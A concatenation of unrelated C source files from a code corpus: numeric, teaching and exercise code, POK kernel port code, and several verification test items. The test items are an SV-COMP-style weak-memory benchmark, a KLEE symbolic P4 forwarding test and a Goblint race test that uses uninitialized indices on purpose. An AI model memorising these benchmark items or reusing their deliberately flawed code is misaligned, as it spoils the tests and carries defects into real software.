&c__1, &c__[c_offset], ldc); return 0; /* End of CLARFY */ } /* clarfy_ */
the_stack_data/190769211.c
#include <stdlib.h> #include <stdio.h> #include <string.h> #include <errno.h> #define MAXL 100 #define NDIA 3 #define NELE 5 #define BONUS 8.0f typedef struct{ char nome[MAXL]; // Nome dell'elemento int tipo; // Tipologia: 2 = avanti, 1 = indietro, 0 = di transizione int dir_in; // Direzione di ingresso: 1 = frontale, 0 = di spalle int dir_out; // Direzione di uscita: 1 = frontale, 0 = di spalle int first; // 0 = puo essere il primo, 1 = deve essere preceduto da un altro int last; // 1 = deve essere l'ultimo, 0 = puo non essere l'ultimo float val; // Valore dell'elemento int diff; // Difficolta dell'elemento float gain; // Guadagno dell'elemento per l'algoritmo greedy }Elemento; typedef struct{ Elemento *data; int len; }elemArray; typedef struct{ int dd[NDIA]; // Difficolta massima per diagonale int dp; // Difficolta massima del programma int acrxdiag[NDIA]; // Almeno un elemento acrobatico per diagonale int dacro; // Almeno due acro di fila nel programma int fbacro[2]; // Almeno un elemento acrobatico frontale e di spalle nel programma }Constr; // Variabili globali int sol[NDIA][NELE]; // Soluzione ottimale. float solval = 0.0f; // Valore della soluzione ottimale. Constr cons; // Constraint // Prototipi float calcCosto(elemArray, Elemento, int, int); void stampaSol(elemArray); void generaProgramma(elemArray); int cmp_elem(const void*, const void*); int getIndex(elemArray, Elemento); int main(int argc, char *argv[]){ elemArray elems; int i, DD, DP; // Inserimento da tastiera delle difficolta massime printf("Difficolta massima diagonale: "); scanf("%d", &DD); printf("Difficolta massima totale: "); scanf("%d", &DP); // Genero constraints // Gia azzerati perche gloabali for(i = 0; i < NDIA; ++i) cons.dd[i] = DD; cons.dp = DP; // Lettura file FILE *fp = fopen("elementi.txt", "r"); if(fp == NULL) exit(EXIT_FAILURE); fscanf(fp, "%d", &elems.len); elems.data = (Elemento*) malloc(elems.len * sizeof(Elemento)); if(elems.data == NULL) exit(EXIT_FAILURE); for(i = 0; i < elems.len; ++i){ fscanf(fp, "%s %d %d %d %d %d %f %d", elems.data[i].nome, &elems.data[i].tipo, &elems.data[i].dir_in, &elems.data[i].dir_out, &elems.data[i].first, &elems.data[i].last, &elems.data[i].val, &elems.data[i].diff); // DEBUG // printf("%s %d %d %d %d %d %f %d\n", elems.data[i].nome, elems.data[i].tipo, elems.data[i].dir_in, elems.data[i].dir_out, elems.data[i].first, elems.data[i].last, elems.data[i].val, elems.data[i].diff); } fclose(fp); // elementi.txt // Genera e stampa il programma generaProgramma(elems); free(elems.data); return 0; } // Da modificare i gain. float calcCosto(elemArray elems, Elemento elem, int diag, int ind){ float gain = 0.0f; gain += (elem.val / elem.diff); // Guadagno specifico if(cons.acrxdiag[diag] == 0 && elem.tipo > 0) gain += 1 + ind; // Primo elemento acrobatico della diagonale if(cons.fbacro[1] == 0 && elem.dir_out == 0) gain += 2 + ind*ind; // Elemento con uscita di spalle if(cons.dacro == 0 && ind > 0 && elems.data[sol[diag][ind-1]].tipo > 0 && elem.tipo > 0) gain += 3 + ind*ind; // Doppia acro return gain; } void generaProgramma(elemArray elems){ int i, j, k; // Copio il vettore di elementi in tmp per poterlo riordinare Elemento *tmp = (Elemento*) malloc(elems.len * sizeof(Elemento)); memcpy(tmp, elems.data, elems.len * sizeof(Elemento)); // Inizializzo sol a -1 for(i = 0; i < NDIA; ++i) for(j = 0; j < NELE; ++j) sol[i][j] = -1; for(j = 0; j < NELE; ++j){ for(i = 0; i < NDIA; ++i){ for(k = 0; k < elems.len; ++k) tmp[k].gain = calcCosto(elems, tmp[k], i, j); qsort(tmp, elems.len, sizeof(Elemento), cmp_elem); for(k = 0; k < elems.len; ++k){ if(j == 0){ // Primo elemento della diagonale if(tmp[k].dir_in == 1 && cons.dd[i] - tmp[k].diff >= 0){ // Inserisco sol[i][j] = getIndex(elems, tmp[k]); // Constraints cons.dd[i] -= tmp[k].diff; cons.dp -= tmp[k].diff; cons.acrxdiag[i] += tmp[k].tipo; cons.fbacro[0] += (tmp[k].tipo == 2) ? 1 : 0; cons.fbacro[1] += (tmp[k].tipo == 1) ? 1 : 0; break; } } else{ // Tutti gli altri if(elems.data[sol[i][j-1]].dir_out == tmp[k].dir_in && cons.dd[i] - tmp[k].diff >= 0){ // Inserisco sol[i][j] = getIndex(elems, tmp[k]); // Constraints cons.dd[i] -= tmp[k].diff; cons.dp -= tmp[k].diff; cons.acrxdiag[i] += tmp[k].tipo; cons.fbacro[0] += (tmp[k].tipo == 2) ? 1 : 0; cons.fbacro[1] += (tmp[k].tipo == 1) ? 1 : 0; cons.dacro += (elems.data[sol[i][j]].tipo > 0 && tmp[k].tipo > 0) ? 1 : 0; break; } } } } } stampaSol(elems); free(tmp); } void stampaSol(elemArray arr){ int i, j, l = 0, flag = 0; float sum[NDIA] = {0}; for(i = 0; i < NDIA; ++i){ for(j = 0; j < NELE; ++j){ printf("%d ", sol[i][j]); } printf("\n"); } printf("\n"); for(i = 0; i < NDIA; ++i){ for(j = 0; j < NELE; ++j){ if(sol[i][j] == -1) break; sum[i] += arr.data[sol[i][j]].val; } l = j - 1; } for(i = 0; i < NDIA; ++i){ printf("DIAG #%d > %.3f", i+1, sum[i]); if(i == 2 && arr.data[sol[i][l]].diff >= BONUS){ printf(" * 1.5 (BONUS)"); flag = 1; } printf("\n"); for(j = 0; j < NELE; ++j){ if(sol[i][j] == -1) break; printf("%s ", arr.data[sol[i][j]].nome); } printf("\n"); } printf("TOT = %.3f\n", sum[0] + sum[1] + (sum[2] * ((flag == 1) ? 1.5 : 1))); } // Ordine decrescente sui gain int cmp_elem(const void *a, const void *b){ return (*(Elemento*)b).gain - (*(Elemento*)a).gain; } int getIndex(elemArray elems, Elemento el){ int i; for(i = 0; i < elems.len; ++i) if(strcmp(elems.data[i].nome, el.nome) == 0) return i; return -1; }
the_stack_data/80836.c
int add(int a, int b) { int c; c = a + b; return c; } int main() { int d; d = add(52, 10); printf("%d\n", d); return 0; }
the_stack_data/100283.c
void moveZeroes(int* nums, int numsSize){ int j=0; for(int i=0;i<numsSize;i++){ if(nums[i]!=0){ int temp=nums[i]; nums[i]=nums[j]; nums[j++]=temp; } } } void moveZeroes2(int* nums, int numsSize){ int j=0; for(int i=0;i<numsSize;i++){ if(nums[i]!=0){ nums[j++]=nums[i]; } } for(;j<numsSize;j++){ nums[j]=0; } }
the_stack_data/148579112.c
/* * 課題0:hello.c */ #include <stdio.h> int main() { printf("hello,world\n"); return 0; } /* 実行例 $ cc -o hello hello.c $ ./hello hello,world $ */
the_stack_data/95450709.c
extern void __VERIFIER_error() __attribute__ ((__noreturn__)); void __VERIFIER_assert(int expression) { if (!expression) { ERROR: __VERIFIER_error(); }; return; } int __global_lock; void __VERIFIER_atomic_begin() { __VERIFIER_assume(__global_lock==0); __global_lock=1; return; } void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; } #include <assert.h> #include <pthread.h> #ifndef TRUE #define TRUE (_Bool)1 #endif #ifndef FALSE #define FALSE (_Bool)0 #endif #ifndef NULL #define NULL ((void*)0) #endif #ifndef FENCE #define FENCE(x) ((void)0) #endif #ifndef IEEE_FLOAT_EQUAL #define IEEE_FLOAT_EQUAL(x,y) (x==y) #endif #ifndef IEEE_FLOAT_NOTEQUAL #define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y) #endif void * P0(void *arg); void * P1(void *arg); void * P2(void *arg); void fence(); void isync(); void lwfence(); int __unbuffered_cnt; int __unbuffered_cnt = 0; int __unbuffered_p0_EAX; int __unbuffered_p0_EAX = 0; int __unbuffered_p2_EAX; int __unbuffered_p2_EAX = 0; _Bool main$tmp_guard0; _Bool main$tmp_guard1; int x; int x = 0; _Bool x$flush_delayed; int x$mem_tmp; _Bool x$r_buff0_thd0; _Bool x$r_buff0_thd1; _Bool x$r_buff0_thd2; _Bool x$r_buff0_thd3; _Bool x$r_buff1_thd0; _Bool x$r_buff1_thd1; _Bool x$r_buff1_thd2; _Bool x$r_buff1_thd3; _Bool x$read_delayed; int *x$read_delayed_var; int x$w_buff0; _Bool x$w_buff0_used; int x$w_buff1; _Bool x$w_buff1_used; int y; int y = 0; _Bool weak$$choice0; _Bool weak$$choice2; void * P0(void *arg) { __VERIFIER_atomic_begin(); __unbuffered_p0_EAX = y; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); x = 1; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); x = x$w_buff0_used && x$r_buff0_thd1 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd1 ? x$w_buff1 : x); x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd1 ? FALSE : x$w_buff0_used; x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd1 || x$w_buff1_used && x$r_buff1_thd1 ? FALSE : x$w_buff1_used; x$r_buff0_thd1 = x$w_buff0_used && x$r_buff0_thd1 ? FALSE : x$r_buff0_thd1; x$r_buff1_thd1 = x$w_buff0_used && x$r_buff0_thd1 || x$w_buff1_used && x$r_buff1_thd1 ? FALSE : x$r_buff1_thd1; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); __unbuffered_cnt = __unbuffered_cnt + 1; __VERIFIER_atomic_end(); return nondet_0(); } void * P1(void *arg) { __VERIFIER_atomic_begin(); x$w_buff1 = x$w_buff0; x$w_buff0 = 2; x$w_buff1_used = x$w_buff0_used; x$w_buff0_used = TRUE; __VERIFIER_assert(!(x$w_buff1_used && x$w_buff0_used)); x$r_buff1_thd0 = x$r_buff0_thd0; x$r_buff1_thd1 = x$r_buff0_thd1; x$r_buff1_thd2 = x$r_buff0_thd2; x$r_buff1_thd3 = x$r_buff0_thd3; x$r_buff0_thd2 = TRUE; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); y = 1; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); x = x$w_buff0_used && x$r_buff0_thd2 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd2 ? x$w_buff1 : x); x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd2 ? FALSE : x$w_buff0_used; x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd2 || x$w_buff1_used && x$r_buff1_thd2 ? FALSE : x$w_buff1_used; x$r_buff0_thd2 = x$w_buff0_used && x$r_buff0_thd2 ? FALSE : x$r_buff0_thd2; x$r_buff1_thd2 = x$w_buff0_used && x$r_buff0_thd2 || x$w_buff1_used && x$r_buff1_thd2 ? FALSE : x$r_buff1_thd2; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); __unbuffered_cnt = __unbuffered_cnt + 1; __VERIFIER_atomic_end(); return nondet_0(); } void * P2(void *arg) { __VERIFIER_atomic_begin(); __unbuffered_p2_EAX = y; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); y = 2; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); x = x$w_buff0_used && x$r_buff0_thd3 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd3 ? x$w_buff1 : x); x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd3 ? FALSE : x$w_buff0_used; x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd3 || x$w_buff1_used && x$r_buff1_thd3 ? FALSE : x$w_buff1_used; x$r_buff0_thd3 = x$w_buff0_used && x$r_buff0_thd3 ? FALSE : x$r_buff0_thd3; x$r_buff1_thd3 = x$w_buff0_used && x$r_buff0_thd3 || x$w_buff1_used && x$r_buff1_thd3 ? FALSE : x$r_buff1_thd3; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); __unbuffered_cnt = __unbuffered_cnt + 1; __VERIFIER_atomic_end(); return nondet_0(); } void fence() { } void isync() { } void lwfence() { } int main() { pthread_create(NULL, NULL, P0, NULL); pthread_create(NULL, NULL, P1, NULL); pthread_create(NULL, NULL, P2, NULL); __VERIFIER_atomic_begin(); main$tmp_guard0 = __unbuffered_cnt == 3; __VERIFIER_atomic_end(); __VERIFIER_assume(main$tmp_guard0); __VERIFIER_atomic_begin(); x = x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : (x$w_buff1_used && x$r_buff1_thd0 ? x$w_buff1 : x); x$w_buff0_used = x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$w_buff0_used; x$w_buff1_used = x$w_buff0_used && x$r_buff0_thd0 || x$w_buff1_used && x$r_buff1_thd0 ? FALSE : x$w_buff1_used; x$r_buff0_thd0 = x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$r_buff0_thd0; x$r_buff1_thd0 = x$w_buff0_used && x$r_buff0_thd0 || x$w_buff1_used && x$r_buff1_thd0 ? FALSE : x$r_buff1_thd0; __VERIFIER_atomic_end(); __VERIFIER_atomic_begin(); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ weak$$choice0 = nondet_1(); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ weak$$choice2 = nondet_1(); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x$flush_delayed = weak$$choice2; /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x$mem_tmp = x; /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x = !x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x : (x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : x$w_buff1); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x$w_buff0 = weak$$choice2 ? x$w_buff0 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff0 : (x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff0 : x$w_buff0)); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x$w_buff1 = weak$$choice2 ? x$w_buff1 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff1 : (x$w_buff0_used && x$r_buff0_thd0 ? x$w_buff1 : x$w_buff1)); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x$w_buff0_used = weak$$choice2 ? x$w_buff0_used : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff0_used : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$w_buff0_used)); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x$w_buff1_used = weak$$choice2 ? x$w_buff1_used : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$w_buff1_used : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : FALSE)); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x$r_buff0_thd0 = weak$$choice2 ? x$r_buff0_thd0 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$r_buff0_thd0 : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : x$r_buff0_thd0)); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x$r_buff1_thd0 = weak$$choice2 ? x$r_buff1_thd0 : (!x$w_buff0_used || !x$r_buff0_thd0 && !x$w_buff1_used || !x$r_buff0_thd0 && !x$r_buff1_thd0 ? x$r_buff1_thd0 : (x$w_buff0_used && x$r_buff0_thd0 ? FALSE : FALSE)); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ main$tmp_guard1 = !(x == 2 && y == 2 && __unbuffered_p0_EAX == 2 && __unbuffered_p2_EAX == 1); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x = x$flush_delayed ? x$mem_tmp : x; /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ x$flush_delayed = FALSE; __VERIFIER_atomic_end(); /* Program was expected to be safe for X86, model checker should have said NO. This likely is a bug in the tool chain. */ __VERIFIER_assert(main$tmp_guard1); return 0; }
the_stack_data/139701.c
#include<stdio.h> #include<stdint.h> #include<stdlib.h> int a1 = 0; int required_to_forward1 = 0; int required_to_forward2 = 0; void parse_ipv4(); void accept(); void tbl_act_101773(); void tbl_act_0_101840(); void ipv4_match_92978(); void tbl_act_1_101900(); void tbl_act_2_101934(); void check_ttl_93039(); void tbl_act_3_101994(); void tbl_act_4_102028(); void tbl_act_5_102065(); void dmac_1_93101(); void tbl_act_6_102119(); void tbl_act_7_102153(); void tbl_Drop_action_101809(); void smac_1_93165(); void tbl_act_8_102306(); void reject(); int action_run; typedef uint8_t PortId; typedef struct { uint8_t outputPort; } OutCtrl; typedef struct { PortId inputPort; } InControl; typedef struct { PortId outputPort; } OutControl; typedef uint64_t EthernetAddress; typedef uint32_t IPv4Address; typedef struct { uint8_t isValid : 1; EthernetAddress dstAddr: 48; EthernetAddress srcAddr: 48; uint32_t etherType : 16; } Ethernet_h; typedef struct { uint8_t isValid : 1; uint8_t version : 4; uint8_t ihl : 4; uint8_t diffserv : 8; uint32_t totalLen : 16; uint32_t identification : 16; uint8_t flags : 3; uint32_t fragOffset : 13; uint8_t ttl : 8; uint8_t protocol : 8; uint32_t hdrChecksum : 16; IPv4Address srcAddr: 32; IPv4Address dstAddr: 32; } Ipv4_h; typedef struct { Ethernet_h ethernet; Ipv4_h ip; } Parsed_packet; OutCtrl outCtrl; Parsed_packet p; uint8_t tmp_10; uint8_t tmp_11; uint32_t tmp_12; uint8_t tmp_13; uint8_t tmp_14; uint8_t version_const; uint8_t ihl_const; uint8_t diffserv_const; uint32_t totalLen_const; uint32_t identification_const; uint8_t flags_const; uint32_t fragOffset_const; uint8_t protocol_const; IPv4Address srcAddr_const; IPv4Address dstAddr_const; void start() { p.ethernet.isValid = 1; klee_assume(p.ethernet.etherType != 2048); reject(); } void parse_ipv4() { p.ip.isValid = 1; tmp_10 = (p.ip.version == 4); if(tmp_10 == 0) { reject(); } tmp_11 = (p.ip.ihl == 5); if(tmp_11 == 0) { reject(); } //Extern: ck.clear //Extern: ck.update klee_make_symbolic(&tmp_12, sizeof(tmp_12), "tmp_12"); tmp_13 = (tmp_12 == 0); tmp_14 = tmp_13; if(tmp_14 == 0) { reject(); } accept(); } void accept() { } void reject() { exit(0); } void TopParser() { klee_make_symbolic(&p, sizeof(p), "p"); version_const= p.ip.version; ihl_const= p.ip.ihl; diffserv_const= p.ip.diffserv; totalLen_const= p.ip.totalLen; identification_const= p.ip.identification; flags_const= p.ip.flags; fragOffset_const= p.ip.fragOffset; protocol_const= p.ip.protocol; srcAddr_const= p.ip.srcAddr; dstAddr_const= p.ip.dstAddr; start(); } //Control IPv4Address nextHop_1; uint8_t tmp_15; uint8_t tmp_17; uint8_t tmp_18; uint8_t tmp_19; IPv4Address nextHop_2; IPv4Address nextHop_3; uint8_t hasReturned_0; IPv4Address nextHop_0; void TopPipe() { tbl_act_101773(); if(!hasReturned_0) { ipv4_match_92978(); tbl_act_1_101900(); if(tmp_17) { tbl_act_2_101934(); } } if(!hasReturned_0) { check_ttl_93039(); tbl_act_3_101994(); if(tmp_18) { tbl_act_4_102028(); } } if(!hasReturned_0) { tbl_act_5_102065(); dmac_1_93101(); tbl_act_6_102119(); if(tmp_19) { tbl_act_7_102153(); } } if(!hasReturned_0) { smac_1_93165(); } } // Action void NoAction_0_92881() { action_run = 92881; } // Action void Drop_action_0_92891() { action_run = 92891; outCtrl.outputPort = 15; a1 = 1; } // Action void Drop_action_4_92906() { action_run = 92906; outCtrl.outputPort = 15; a1 = 1; } // Action void Drop_action_5_92913() { action_run = 92913; outCtrl.outputPort = 15; a1 = 1; } // Action void Drop_action_6_92920() { action_run = 92920; outCtrl.outputPort = 15; a1 = 1; } // Action void Set_nhop_0_94278() { action_run = 94278; IPv4Address ipv4_dest; klee_make_symbolic(&ipv4_dest, sizeof(ipv4_dest), "ipv4_dest"); PortId port; klee_make_symbolic(&port, sizeof(port), "port"); nextHop_0 = ipv4_dest; tmp_15 = p.ip.ttl + 255; p.ip.ttl = p.ip.ttl + 255; outCtrl.outputPort = port; nextHop_2 = ipv4_dest; } // Action void Send_to_cpu_0_93024() { action_run = 93024; outCtrl.outputPort = 14; } // Action void Set_dmac_0_93081() { action_run = 93081; EthernetAddress dmac; klee_make_symbolic(&dmac, sizeof(dmac), "dmac"); p.ethernet.dstAddr = dmac; required_to_forward2 = 1; } // Action void Set_smac_0_93145() { action_run = 93145; EthernetAddress smac; klee_make_symbolic(&smac, sizeof(smac), "smac"); p.ethernet.srcAddr = smac; required_to_forward1 = 1; } // Action void act_99936() { action_run = 99936; hasReturned_0 = 1; } // Action void act_0_99948() { action_run = 99948; hasReturned_0 = 0; } // Action void act_1_99987() { action_run = 99987; hasReturned_0 = 1; } // Action void act_2_100003() { action_run = 100003; nextHop_1 = nextHop_2; tmp_17 = (outCtrl.outputPort == 15); } // Action void act_3_100044() { action_run = 100044; hasReturned_0 = 1; } // Action void act_4_100060() { action_run = 100060; tmp_18 = (outCtrl.outputPort == 14); } // Action void act_5_100096() { action_run = 100096; nextHop_3 = nextHop_1; } // Action void act_6_100112() { action_run = 100112; hasReturned_0 = 1; } // Action void act_7_100128() { action_run = 100128; tmp_19 = (outCtrl.outputPort == 15); } //Table void ipv4_match_92978() { Drop_action_0_92891(); } //Table void check_ttl_93039() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { case 0: Send_to_cpu_0_93024(); break; default: NoAction_0_92881(); break; } // default_action NoAction_0(); } //Table void dmac_1_93101() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { case 0: Drop_action_4_92906(); break; default: Set_dmac_0_93081(); break; } // size 1024 // default_action Drop_action_4(); } //Table void smac_1_93165() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { case 0: Drop_action_5_92913(); break; default: Set_smac_0_93145(); break; } // size 16 // default_action Drop_action_5(); } //Table void tbl_act_101773() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_0_99948(); break; } // default_action act_0(); } //Table void tbl_Drop_action_101809() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: Drop_action_6_92920(); break; } // default_action Drop_action_6(); } //Table void tbl_act_0_101840() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_99936(); break; } // default_action act(); } //Table void tbl_act_1_101900() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_2_100003(); break; } // default_action act_2(); } //Table void tbl_act_2_101934() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_1_99987(); break; } // default_action act_1(); } //Table void tbl_act_3_101994() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_4_100060(); break; } // default_action act_4(); } //Table void tbl_act_4_102028() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_3_100044(); break; } // default_action act_3(); } //Table void tbl_act_5_102065() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_5_100096(); break; } // default_action act_5(); } //Table void tbl_act_6_102119() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_7_100128(); break; } // default_action act_7(); } //Table void tbl_act_7_102153() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_6_100112(); break; } // default_action act_6(); } //Control uint32_t tmp_20; void TopDeparser() { //Emit p.ethernet if(p.ip.isValid) { tbl_act_8_102306(); } //Emit p.ip if(a1 && outCtrl.outputPort != 15){ printf(":: INCORRECT FORWARD, PACKET SHOULD HAVE DROPPED"); } if(p.ip.ttl == 0 && outCtrl.outputPort != 15){ printf("Assert error:: forwad -> p.ip.ttl == 0\n"); } if(version_const != p.ip.version){ printf("Assert error:: version_const"); } if(ihl_const != p.ip.ihl){ printf("Assert error:: ihl_const"); } if(diffserv_const != p.ip.diffserv){ printf("Assert error:: diffserv_const"); } if(totalLen_const != p.ip.totalLen){ printf("Assert error:: totalLen_const"); } if(identification_const != p.ip.identification){ printf("Assert error:: identification_const"); } if(flags_const != p.ip.flags){ printf("Assert error:: flags_const"); } if(fragOffset_const != p.ip.fragOffset){ printf("Assert error:: fragOffset_const"); } if(protocol_const != p.ip.protocol){ printf("Assert error:: protocol_const"); } if(srcAddr_const != p.ip.srcAddr){ printf("Assert error:: srcAddr_const"); } if(dstAddr_const != p.ip.dstAddr){ printf("Assert error:: dstAddr_const"); } } // Action void act_8_100296() { action_run = 100296; //Extern: ck_2.clear p.ip.hdrChecksum = 0; //Extern: ck_2.update klee_make_symbolic(&tmp_20, sizeof(tmp_20), "tmp_20"); p.ip.hdrChecksum = tmp_20; } //Table void tbl_act_8_102306() { int symbol; klee_make_symbolic(&symbol, sizeof(symbol), "symbol"); switch(symbol) { default: act_8_100296(); break; } // default_action act_8(); } int main() { TopParser(); TopPipe(); TopDeparser(); return 0; }
the_stack_data/247018387.c
/* * POK header * * The following file is a part of the POK project. Any modification should * be made according to the POK licence. You CANNOT use this file or a part * of a file for your own project. * * For more information on the POK licence, please see our LICENCE FILE * * Please follow the coding guidelines described in doc/CODING_GUIDELINES * * Copyright (c) 2007-2020 POK team */ #ifdef POK_NEEDS_PORTS_VIRTUAL #include <core/lockobj.h> #include <core/sched.h> #include <errno.h> #include <libc.h> #include <middleware/port.h> #include <middleware/queue.h> #include <types.h> extern uint8_t pok_ports_nb_destinations[POK_CONFIG_NB_PORTS]; /** from deployment.c when using code generation */ extern uint8_t pok_ports_nb_ports_by_partition [POK_CONFIG_NB_PARTITIONS]; /** from deployment.c when using code generation */ extern uint8_t *pok_ports_destinations[POK_CONFIG_NB_PORTS]; /** from deployment.c when using code generation */ extern uint8_t pok_ports_kind[POK_CONFIG_NB_PORTS]; pok_ret_t pok_port_virtual_destination(const pok_port_id_t id, const uint32_t n, uint32_t *result) { uint32_t val; if (id >= POK_CONFIG_NB_PORTS) { return POK_ERRNO_PORT; } if (!pok_own_port(POK_SCHED_CURRENT_PARTITION, id)) { return POK_ERRNO_PORT; } if (pok_ports_kind[id] != POK_PORT_KIND_VIRTUAL) { return POK_ERRNO_PORT; } if (n > pok_ports_nb_destinations[id]) { return POK_ERRNO_PORT; } val = (uint32_t)pok_ports_destinations[id][n]; *result = val; return POK_ERRNO_OK; } #endif
the_stack_data/138489.c
// PARAM: --set ana.activated[0][+] "'var_eq'" --set ana.activated[0][+] "'symb_locks'" --set ana.activated[0][+] "'region'" --set exp.region-offsets true #include<pthread.h> #include<stdlib.h> #include<stdio.h> struct s { int datum; struct s *next; }; struct s *new(int x) { struct s *p = malloc(sizeof(struct s)); p->datum = x; p->next = NULL; return p; } void list_add(struct s *node, struct s *list) { struct s *temp = list->next; list->next = node; node->next = temp; } pthread_mutex_t mutex[10]; struct s *slot[10]; void *t_fun(void *arg) { int i; pthread_mutex_lock(&mutex[i]); list_add(new(3), slot[i]); pthread_mutex_unlock(&mutex[i]); return NULL; } int main () { int j, k; struct s *p; pthread_t t1; slot[j] = new(1); list_add(new(2), slot[j]); slot[k] = new(1); list_add(new(2), slot[k]); p = new(3); list_add(p, slot[j]); p = new(3); list_add(p, slot[k]); pthread_create(&t1, NULL, t_fun, NULL); pthread_mutex_lock(&mutex[j]); p = slot[j]->next; // NORACE printf("%d\n", p->datum); pthread_mutex_unlock(&mutex[j]); return 0; }
the_stack_data/34511543.c
/* crypto/rc2/rc2test.c */ /* Copyright (C) 1995-1998 Eric Young ([email protected]) * All rights reserved. * * This package is an SSL implementation written * by Eric Young ([email protected]). * The implementation was written so as to conform with Netscapes SSL. * * This library is free for commercial and non-commercial use as long as * the following conditions are aheared to. The following conditions * apply to all code found in this distribution, be it the RC4, RSA, * lhash, DES, etc., code; not just the SSL code. The SSL documentation * included with this distribution is covered by the same copyright terms * except that the holder is Tim Hudson ([email protected]). * * Copyright remains Eric Young's, and as such any Copyright notices in * the code are not to be removed. * If this package is used in a product, Eric Young should be given attribution * as the author of the parts of the library used. * This can be in the form of a textual message at program startup or * in documentation (online or textual) provided with the package. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * 3. All advertising materials mentioning features or use of this software * must display the following acknowledgement: * "This product includes cryptographic software written by * Eric Young ([email protected])" * The word 'cryptographic' can be left out if the rouines from the library * being used are not cryptographic related :-). * 4. If you include any Windows specific code (or a derivative thereof) from * the apps directory (application code) you must include an acknowledgement: * "This product includes software written by Tim Hudson ([email protected])" * * THIS SOFTWARE IS PROVIDED BY ERIC YOUNG ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE 